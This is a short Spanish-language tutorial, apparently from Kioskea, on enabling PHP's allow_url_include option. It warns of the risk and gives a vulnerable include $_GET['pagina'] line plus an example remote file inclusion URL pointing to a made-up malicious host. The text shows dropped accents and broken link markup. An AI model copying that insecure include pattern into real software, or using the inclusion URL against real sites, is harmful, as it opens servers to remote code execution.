Está en la página 1de 1

PHP 5 Utilizar una url externa con la

funcin include
Junio 2014

La opcin que permite incluir una url externa (es decir absoluta,
del tipo http://site.tld/url) mediante la funcin include, est
deshabilitada por defecto en la versin 5 y posteriores de PHP.
Para habilitarla, en tu servidor pon estas dos lneas en el fichero
php.ini. allow_url_include = 1 allow_url_fopen = 1 Para mayor
informacin, ver Aqu IMPORTANTE: Sin embargo, es muy
peligroso habilitar la opcin allow_url_include. En ciertos
casos, puede ocasionar graves fallas de seguridad si el
desarrollador es negligente. Veamos un ejemplo simple, supongamos que tienes un script PHP
que incluye una pgina en funcin de lo que se le da como argumentos va la URL. Es decir que
tecleando http://tusitio.flet/mipagina.php?page=pagina_a_incluir.php vas a incluir la pgina
pagina_a_incluir.php Si tu cdigo se parece a esto: include $_GET['pagina']; entonces estars
dejando la puerta abierta para que cualquiera aada cdigo externo. Es as que nada impide
que yo pueda incluir una pgina: href= <a href='http://sitiomalicioso.prout/paginamaliciosa.php''
target='_blank'>http://sitiomalicioso.prout/paginamaliciosa.php'</a> target='_blank'
rel='nofollow'>http://tusitio.flet/mipagina.php?http://sitiomalicioso.prout/paginamaliciosa.php</a>
Por lo tanto hay que estar atentos si habilitamos esta opcin.
Este documento intitulado PHP 5 Utilizar una url externa con la funcin include de Kioskea (es.kioskea.net)
esta puesto a diposicin bajo la licencia Creative Commons. Puede copiar, modificar bajo las condiciones puestas
por la licencia, siempre que esta nota sea visible.

También podría gustarte